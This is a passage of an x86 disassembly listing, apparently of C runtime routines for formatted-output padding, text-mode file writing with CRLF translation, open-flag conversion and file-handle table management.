loc_44BAE0:				; CODE XREF: sub_44B42B+6A3j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+var_34], eax


loc_44BAE9:				; CODE XREF: sub_44B42B+6B3j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_30], eax


loc_44BAEF:				; CODE XREF: sub_44B42B+687j
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+1Ch], eax
		jmp	short loc_44BB5D
; ---------------------------------------------------------------------------


loc_44BAFA:				; CODE XREF: sub_44B42B+636j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44C6AB
		add	esp, 8
		test	eax, eax
		jge	short loc_44BB5D
		or	eax, 0FFFFFFFFh
		jmp	short loc_44BB5F
; ---------------------------------------------------------------------------


loc_44BB1D:				; CODE XREF: sub_44B42B+23j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 25h
		jmp	short loc_44BB5D
; ---------------------------------------------------------------------------


loc_44BB32:				; CODE XREF: sub_44B42B+29j
					; sub_44B42B+3Aj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_44BB4D
		movzx	eax, [ebp+arg_8]
		mov	[ebp+var_28], eax
		jmp	short loc_44BB54
; ---------------------------------------------------------------------------


loc_44BB4D:				; CODE XREF: sub_44B42B+717j
		mov	[ebp+var_28], 25h


loc_44BB54:				; CODE XREF: sub_44B42B+720j
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_28]
		mov	[eax+edx], cl


loc_44BB5D:				; CODE XREF: sub_44B42B+84j
					; sub_44B42B+BDj ...
		xor	eax, eax


loc_44BB5F:				; CODE XREF: sub_44B42B+C6j
					; sub_44B42B+6F0j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44B42B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44BB6B	proc near		; CODE XREF: sub_449FDB+25Ap
					; sub_44C6AB+D7p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+34h]
		sub	eax, [ebx+14h]
		sub	eax, [ebx+18h]
		sub	eax, [ebx+1Ch]
		sub	eax, [ebx+20h]
		sub	eax, [ebx+24h]
		sub	eax, [ebx+28h]
		mov	[ebp+var_4], eax
		test	word ptr [ebx+38h], 4
		jnz	short loc_44BBEA
		cmp	[ebp+var_4], 0
		jle	short loc_44BBEA
		mov	esi, [ebp+var_4]
		jmp	short loc_44BBE6
; ---------------------------------------------------------------------------


loc_44BBA2:				; CODE XREF: sub_44BB6B+7Dj
		cmp	esi, 20h
		jbe	short loc_44BBB0
		mov	[ebp+var_8], 20h
		jmp	short loc_44BBB5
; ---------------------------------------------------------------------------


loc_44BBB0:				; CODE XREF: sub_44BB6B+3Aj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44BBB5:				; CODE XREF: sub_44BB6B+43j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44BBE4
		push	edi
		push	offset asc_40FDF0 ; "				     "
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44BBDC
		add	[ebx+30h], edi
		jmp	short loc_44BBE4
; ---------------------------------------------------------------------------


loc_44BBDC:				; CODE XREF: sub_44BB6B+6Aj
		or	eax, 0FFFFFFFFh
		jmp	loc_44BDD2
; ---------------------------------------------------------------------------


loc_44BBE4:				; CODE XREF: sub_44BB6B+51j
					; sub_44BB6B+6Fj
		sub	esi, edi


loc_44BBE6:				; CODE XREF: sub_44BB6B+35j
		test	esi, esi
		jg	short loc_44BBA2


loc_44BBEA:				; CODE XREF: sub_44BB6B+2Aj
					; sub_44BB6B+30j
		cmp	dword ptr [ebx+14h], 0
		jle	short loc_44BC1B
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44BC13
		mov	eax, [ebx+14h]
		add	[ebx+30h], eax
		jmp	short loc_44BC1B
; ---------------------------------------------------------------------------


loc_44BC13:				; CODE XREF: sub_44BB6B+9Ej
		or	eax, 0FFFFFFFFh
		jmp	loc_44BDD2
; ---------------------------------------------------------------------------


loc_44BC1B:				; CODE XREF: sub_44BB6B+83j
					; sub_44BB6B+A6j
		cmp	dword ptr [ebx+18h], 0
		jle	short loc_44BC6E
		mov	esi, [ebx+18h]
		jmp	short loc_44BC6A
; ---------------------------------------------------------------------------


loc_44BC26:				; CODE XREF: sub_44BB6B+101j
		cmp	esi, 20h
		jbe	short loc_44BC34
		mov	[ebp+var_8], 20h
		jmp	short loc_44BC39
; ---------------------------------------------------------------------------


loc_44BC34:				; CODE XREF: sub_44BB6B+BEj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44BC39:				; CODE XREF: sub_44BB6B+C7j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44BC68
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44BC60
		add	[ebx+30h], edi
		jmp	short loc_44BC68
; ---------------------------------------------------------------------------


loc_44BC60:				; CODE XREF: sub_44BB6B+EEj
		or	eax, 0FFFFFFFFh
		jmp	loc_44BDD2
; ---------------------------------------------------------------------------


loc_44BC68:				; CODE XREF: sub_44BB6B+D5j
					; sub_44BB6B+F3j
		sub	esi, edi


loc_44BC6A:				; CODE XREF: sub_44BB6B+B9j
		test	esi, esi
		jg	short loc_44BC26


loc_44BC6E:				; CODE XREF: sub_44BB6B+B4j
		cmp	dword ptr [ebx+1Ch], 0
		jle	short loc_44BC9F
		mov	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44BC97
		mov	eax, [ebx+1Ch]
		add	[ebx+30h], eax
		jmp	short loc_44BC9F
; ---------------------------------------------------------------------------


loc_44BC97:				; CODE XREF: sub_44BB6B+122j
		or	eax, 0FFFFFFFFh
		jmp	loc_44BDD2
; ---------------------------------------------------------------------------


loc_44BC9F:				; CODE XREF: sub_44BB6B+107j
					; sub_44BB6B+12Aj
		cmp	dword ptr [ebx+20h], 0
		jle	short loc_44BCF2
		mov	esi, [ebx+20h]
		jmp	short loc_44BCEE
; ---------------------------------------------------------------------------


loc_44BCAA:				; CODE XREF: sub_44BB6B+185j
		cmp	esi, 20h
		jbe	short loc_44BCB8
		mov	[ebp+var_8], 20h
		jmp	short loc_44BCBD
; ---------------------------------------------------------------------------


loc_44BCB8:				; CODE XREF: sub_44BB6B+142j
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44BCBD:				; CODE XREF: sub_44BB6B+14Bj
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44BCEC
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44BCE4
		add	[ebx+30h], edi
		jmp	short loc_44BCEC
; ---------------------------------------------------------------------------


loc_44BCE4:				; CODE XREF: sub_44BB6B+172j
		or	eax, 0FFFFFFFFh
		jmp	loc_44BDD2
; ---------------------------------------------------------------------------


loc_44BCEC:				; CODE XREF: sub_44BB6B+159j
					; sub_44BB6B+177j
		sub	esi, edi


loc_44BCEE:				; CODE XREF: sub_44BB6B+13Dj
		test	esi, esi
		jg	short loc_44BCAA


loc_44BCF2:				; CODE XREF: sub_44BB6B+138j
		cmp	dword ptr [ebx+24h], 0
		jle	short loc_44BD28
		mov	eax, [ebx+24h]
		push	eax
		mov	eax, [ebx+1Ch]
		mov	edx, [ebx+10h]
		add	eax, edx
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44BD20
		mov	eax, [ebx+24h]
		add	[ebx+30h], eax
		jmp	short loc_44BD28
; ---------------------------------------------------------------------------


loc_44BD20:				; CODE XREF: sub_44BB6B+1ABj
		or	eax, 0FFFFFFFFh
		jmp	loc_44BDD2
; ---------------------------------------------------------------------------


loc_44BD28:				; CODE XREF: sub_44BB6B+18Bj
					; sub_44BB6B+1B3j
		cmp	dword ptr [ebx+28h], 0
		jle	short loc_44BD78
		mov	esi, [ebx+28h]
		jmp	short loc_44BD74
; ---------------------------------------------------------------------------


loc_44BD33:				; CODE XREF: sub_44BB6B+20Bj
		cmp	esi, 20h
		jbe	short loc_44BD41
		mov	[ebp+var_8], 20h
		jmp	short loc_44BD46
; ---------------------------------------------------------------------------


loc_44BD41:				; CODE XREF: sub_44BB6B+1CBj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44BD46:				; CODE XREF: sub_44BB6B+1D4j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44BD72
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44BD6D
		add	[ebx+30h], edi
		jmp	short loc_44BD72
; ---------------------------------------------------------------------------


loc_44BD6D:				; CODE XREF: sub_44BB6B+1FBj
		or	eax, 0FFFFFFFFh
		jmp	short loc_44BDD2
; ---------------------------------------------------------------------------


loc_44BD72:				; CODE XREF: sub_44BB6B+1E2j
					; sub_44BB6B+200j
		sub	esi, edi


loc_44BD74:				; CODE XREF: sub_44BB6B+1C6j
		test	esi, esi
		jg	short loc_44BD33


loc_44BD78:				; CODE XREF: sub_44BB6B+1C1j
		test	word ptr [ebx+38h], 4
		jz	short loc_44BDD0
		cmp	[ebp+var_4], 0
		jle	short loc_44BDD0
		mov	esi, [ebp+var_4]
		jmp	short loc_44BDCC
; ---------------------------------------------------------------------------


loc_44BD8B:				; CODE XREF: sub_44BB6B+263j
		cmp	esi, 20h
		jbe	short loc_44BD99
		mov	[ebp+var_8], 20h
		jmp	short loc_44BD9E
; ---------------------------------------------------------------------------


loc_44BD99:				; CODE XREF: sub_44BB6B+223j
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44BD9E:				; CODE XREF: sub_44BB6B+22Cj
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44BDCA
		push	edi
		push	offset asc_40FDF0 ; "				     "
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44BDC5
		add	[ebx+30h], edi
		jmp	short loc_44BDCA
; ---------------------------------------------------------------------------


loc_44BDC5:				; CODE XREF: sub_44BB6B+253j
		or	eax, 0FFFFFFFFh
		jmp	short loc_44BDD2
; ---------------------------------------------------------------------------


loc_44BDCA:				; CODE XREF: sub_44BB6B+23Aj
					; sub_44BB6B+258j
		sub	esi, edi


loc_44BDCC:				; CODE XREF: sub_44BB6B+21Ej
		test	esi, esi
		jg	short loc_44BD8B


loc_44BDD0:				; CODE XREF: sub_44BB6B+213j
					; sub_44BB6B+219j
		xor	eax, eax


loc_44BDD2:				; CODE XREF: sub_44BB6B+74j
					; sub_44BB6B+ABj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44BB6B	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44BDDB	proc near		; CODE XREF: sub_44A31B+101p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		and	eax, 3
		mov	esi, dword_40FE34[eax*4]
		test	ebx, 4
		jz	short loc_44BDFA
		or	esi, 8


loc_44BDFA:				; CODE XREF: sub_44BDDB+1Aj
		test	ebx, 8
		jz	short loc_44BE08
		or	esi, 200h


loc_44BE08:				; CODE XREF: sub_44BDDB+25j
		test	ebx, 10h
		jz	short loc_44BE16
		or	esi, 100h


loc_44BE16:				; CODE XREF: sub_44BDDB+33j
		test	ebx, 20h
		jz	short loc_44BE26
		or	esi, 8000h
		jmp	short loc_44BE2C
; ---------------------------------------------------------------------------


loc_44BE26:				; CODE XREF: sub_44BDDB+41j
		or	esi, 4000h


loc_44BE2C:				; CODE XREF: sub_44BDDB+49j
		push	180h
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44D0AB
		add	esp, 0Ch
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44BDDB	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44BE4B	proc near		; CODE XREF: sub_44A46B+Dp
		push	6
		call	sub_44D4BB
		pop	ecx
		push	1
		call	sub_4491DB
		pop	ecx
		retn
sub_44BE4B	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44BE6B	proc near		; CODE XREF: sub_44C05B+4Bp
					; sub_44E44B+ADp

var_411		= byte ptr -411h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_8], 0
		jnz	short loc_44BE92
		xor	eax, eax
		jmp	loc_44C054
; ---------------------------------------------------------------------------


loc_44BE92:				; CODE XREF: sub_44BE6B+1Ej
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_41398C[eax*4]
		test	byte ptr [eax+edx+4], 20h
		jz	short loc_44BEBE
		push	2
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44D5EB
		add	esp, 0Ch


loc_44BEBE:				; CODE XREF: sub_44BE6B+41j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_41398C[eax*4]
		test	byte ptr [eax+edx+4], 80h
		jz	loc_44BF9F
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_10], 0
		jmp	loc_44BF8B
; ---------------------------------------------------------------------------


loc_44BEED:				; CODE XREF: sub_44BE6B+12Cj
		lea	edi, [ebp+var_411]
		jmp	short loc_44BF0D
; ---------------------------------------------------------------------------


loc_44BEF5:				; CODE XREF: sub_44BE6B+C0j
		mov	eax, esi
		inc	esi
		mov	bl, [eax]
		cmp	bl, 0Ah
		jnz	short loc_44BF08
		inc	[ebp+var_4]
		mov	eax, edi
		inc	edi
		mov	byte ptr [eax],	0Dh


loc_44BF08:				; CODE XREF: sub_44BE6B+92j
		mov	eax, edi
		inc	edi
		mov	[eax], bl


loc_44BF0D:				; CODE XREF: sub_44BE6B+88j
		lea	eax, [ebp+var_411]
		mov	edx, edi
		sub	edx, eax
		cmp	edx, 400h
		jge	short loc_44BF2D
		mov	eax, [ebp+arg_4]
		mov	edx, esi
		sub	edx, eax
		mov	eax, edx
		cmp	eax, [ebp+arg_8]
		jb	short loc_44BEF5


loc_44BF2D:				; CODE XREF: sub_44BE6B+B2j
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_411]
		mov	edx, edi
		sub	edx, eax
		mov	eax, edx
		push	eax
		lea	eax, [ebp+var_411]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_41398C[eax*4]
		mov	eax, [eax+edx]
		push	eax
		call	dword_411E0C	; WriteFile
		test	eax, eax
		jz	short loc_44BF80
		mov	eax, [ebp+var_8]
		add	[ebp+var_C], eax
		lea	edx, [ebp+var_411]
		mov	ecx, edi
		sub	ecx, edx
		cmp	eax, ecx
		jge	short loc_44BF8B
		jmp	short loc_44BFE8
; ---------------------------------------------------------------------------


loc_44BF80:				; CODE XREF: sub_44BE6B+FDj
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax
		jmp	short loc_44BFE8
; ---------------------------------------------------------------------------


loc_44BF8B:				; CODE XREF: sub_44BE6B+7Dj
					; sub_44BE6B+111j
		mov	eax, [ebp+arg_4]
		mov	edx, esi
		sub	edx, eax
		mov	eax, edx
		cmp	eax, [ebp+arg_8]
		jb	loc_44BEED
		jmp	short loc_44BFE8
; ---------------------------------------------------------------------------


loc_44BF9F:				; CODE XREF: sub_44BE6B+6Dj
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_41398C[eax*4]
		mov	eax, [eax+edx]
		push	eax
		call	dword_411E0C	; WriteFile
		test	eax, eax
		jz	short loc_44BFDF
		mov	[ebp+var_10], 0
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		jmp	short loc_44BFE8
; ---------------------------------------------------------------------------


loc_44BFDF:				; CODE XREF: sub_44BE6B+163j
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax


loc_44BFE8:				; CODE XREF: sub_44BE6B+113j
					; sub_44BE6B+11Ej ...
		cmp	[ebp+var_C], 0
		jnz	short loc_44C04E
		cmp	[ebp+var_10], 0
		jz	short loc_44C016
		cmp	[ebp+var_10], 5
		jnz	short loc_44C007
		call	sub_449B9B
		mov	dword ptr [eax], 9
		jmp	short loc_44C011
; ---------------------------------------------------------------------------


loc_44C007:				; CODE XREF: sub_44BE6B+18Dj
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_449A3B
		pop	ecx


loc_44C011:				; CODE XREF: sub_44BE6B+19Aj
		or	eax, 0FFFFFFFFh
		jmp	short loc_44C054
; ---------------------------------------------------------------------------


loc_44C016:				; CODE XREF: sub_44BE6B+187j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_41398C[eax*4]
		test	byte ptr [eax+edx+4], 40h
		jz	short loc_44C03E
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_44C03E
		xor	eax, eax
		jmp	short loc_44C054
; ---------------------------------------------------------------------------


loc_44C03E:				; CODE XREF: sub_44BE6B+1C5j
					; sub_44BE6B+1CDj
		call	sub_449B9B
		mov	dword ptr [eax], 1Ch
		or	eax, 0FFFFFFFFh
		jmp	short loc_44C054
; ---------------------------------------------------------------------------


loc_44C04E:				; CODE XREF: sub_44BE6B+181j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_4]


loc_44C054:				; CODE XREF: sub_44BE6B+22j
					; sub_44BE6B+1A9j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44BE6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C05B	proc near		; CODE XREF: sub_44A49B+79p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_413A8C
		jnb	short loc_44C086
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44C096


loc_44C086:				; CODE XREF: sub_44C05B+Ej
		call	sub_449B9B
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44C0B9
; ---------------------------------------------------------------------------


loc_44C096:				; CODE XREF: sub_44C05B+29j
		push	ebx
		call	sub_44C47B
		pop	ecx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_44BE6B
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_44C4DB
		pop	ecx
		mov	eax, esi


loc_44C0B9:				; CODE XREF: sub_44C05B+39j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44C05B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C0CB	proc near		; CODE XREF: DMN1:loc_44C425p
					; sub_44D0DB:loc_44D2D8p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		or	edi, 0FFFFFFFFh
		push	4
		call	sub_449F3B
		pop	ecx
		xor	esi, esi


loc_44C0E1:				; CODE XREF: sub_44C0CB+128j
		cmp	dword_41398C[esi*4], 0
		jz	loc_44C198
		mov	ebx, dword_41398C[esi*4]
		jmp	loc_44C17D
; ---------------------------------------------------------------------------


loc_44C0FB:				; CODE XREF: sub_44C0CB+C0j
		test	byte ptr [ebx+4], 1
		jnz	short loc_44C17A
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_44C12A
		push	3
		call	sub_449F3B
		pop	ecx
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_44C122
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CCC	; InitializeCriticalSection
		inc	dword ptr [ebx+8]


loc_44C122:				; CODE XREF: sub_44C0CB+48j
		push	3
		call	sub_449FBB
		pop	ecx


loc_44C12A:				; CODE XREF: sub_44C0CB+3Aj
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CD0	; RtlEnterCriticalSection
		test	byte ptr [ebx+4], 1
		jz	short loc_44C146
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CD4	; RtlLeaveCriticalSection
		jmp	short loc_44C17A
; ---------------------------------------------------------------------------


loc_44C146:				; CODE XREF: sub_44C0CB+6Dj
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	eax, esi
		shl	eax, 5
		mov	[ebp+var_4], eax
		mov	edx, dword_41398C[esi*4]
		mov	ecx, ebx
		sub	ecx, edx
		mov	eax, ecx
		push	eax
		mov	edx, 38E38E39h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 3
		add	eax, edx
		mov	edx, [ebp+var_4]
		lea	edi, [eax+edx]
		jmp	short loc_44C191
; ---------------------------------------------------------------------------


loc_44C17A:				; CODE XREF: sub_44C0CB+34j
					; sub_44C0CB+79j
		add	ebx, 24h


loc_44C17D:				; CODE XREF: sub_44C0CB+2Bj
		mov	eax, dword_41398C[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	loc_44C0FB


loc_44C191:				; CODE XREF: sub_44C0CB+ADj
		cmp	edi, 0FFFFFFFFh
		jz	short loc_44C1EF
		jmp	short loc_44C1F9
; ---------------------------------------------------------------------------


loc_44C198:				; CODE XREF: sub_44C0CB+1Ej
		push	480h
		call	sub_44999B
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44C1F9
		mov	dword_41398C[esi*4], ebx
		add	dword_413A8C, 20h
		jmp	short loc_44C1D1
; ---------------------------------------------------------------------------


loc_44C1B9:				; CODE XREF: sub_44C0CB+114j
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_44C1D1:				; CODE XREF: sub_44C0CB+ECj
		mov	eax, dword_41398C[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_44C1B9
		mov	edi, esi
		shl	edi, 5
		push	edi
		call	sub_44C47B
		pop	ecx
		jmp	short loc_44C1F9
; ---------------------------------------------------------------------------


loc_44C1EF:				; CODE XREF: sub_44C0CB+C9j
		inc	esi
		cmp	esi, 40h
		jl	loc_44C0E1


loc_44C1F9:				; CODE XREF: sub_44C0CB+CBj
					; sub_44C0CB+DCj ...
		push	4
		call	sub_449FBB
		pop	ecx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44C0CB	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_44C20B	proc near		; CODE XREF: sub_44A57B+5Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A8C
		jnb	loc_44C29A
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		add	eax, edx
		test	byte ptr [eax+4], 1
		jz	short loc_44C29A
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_44C29A
		test	ebx, ebx
		jz	short loc_44C250
		cmp	ebx, 1
		jz	short loc_44C25F
		cmp	ebx, 2
		jz	short loc_44C26E
		jmp	short loc_44C27B
; ---------------------------------------------------------------------------


loc_44C250:				; CODE XREF: sub_44C20B+37j
		push	0
		push	0FFFFFFF6h
		call	dword_411E10	; SetStdHandle
		jmp	short loc_44C27B
; ---------------------------------------------------------------------------


loc_44C25F:				; CODE XREF: sub_44C20B+3Cj
		push	0
		push	0FFFFFFF5h
		call	dword_411E10	; SetStdHandle
		jmp	short loc_44C27B
; ---------------------------------------------------------------------------


loc_44C26E:				; CODE XREF: sub_44C20B+41j
		push	0
		push	0FFFFFFF4h
		call	dword_411E10	; SetStdHandle


loc_44C27B:				; CODE XREF: sub_44C20B+43j
					; sub_44C20B+52j ...
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	dword ptr [edx+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_44C2A8
; ---------------------------------------------------------------------------


loc_44C29A:				; CODE XREF: sub_44C20B+Bj
					; sub_44C20B+2Bj ...
		call	sub_449B9B
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_44C2A8:				; CODE XREF: sub_44C20B+8Dj
		pop	ebx
		retn
sub_44C20B	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_44C2AB	proc near		; CODE XREF: DMN1:0044C447p
					; sub_44D0DB+2B4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A8C
		jnb	loc_44C33C
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		cmp	dword ptr [edx+eax], 0FFFFFFFFh
		jnz	short loc_44C33C
		test	ebx, ebx
		jz	short loc_44C2E9
		cmp	ebx, 1
		jz	short loc_44C2FB
		cmp	ebx, 2
		jz	short loc_44C30D
		jmp	short loc_44C31D
; ---------------------------------------------------------------------------


loc_44C2E9:				; CODE XREF: sub_44C2AB+30j
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF6h
		call	dword_411E10	; SetStdHandle
		jmp	short loc_44C31D
; ---------------------------------------------------------------------------


loc_44C2FB:				; CODE XREF: sub_44C2AB+35j
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF5h
		call	dword_411E10	; SetStdHandle
		jmp	short loc_44C31D
; ---------------------------------------------------------------------------


loc_44C30D:				; CODE XREF: sub_44C2AB+3Aj
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF4h
		call	dword_411E10	; SetStdHandle


loc_44C31D:				; CODE XREF: sub_44C2AB+3Cj
					; sub_44C2AB+4Ej ...
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	ecx, [esp+4+arg_4]
		mov	[edx+eax], ecx
		xor	eax, eax
		jmp	short loc_44C34A
; ---------------------------------------------------------------------------


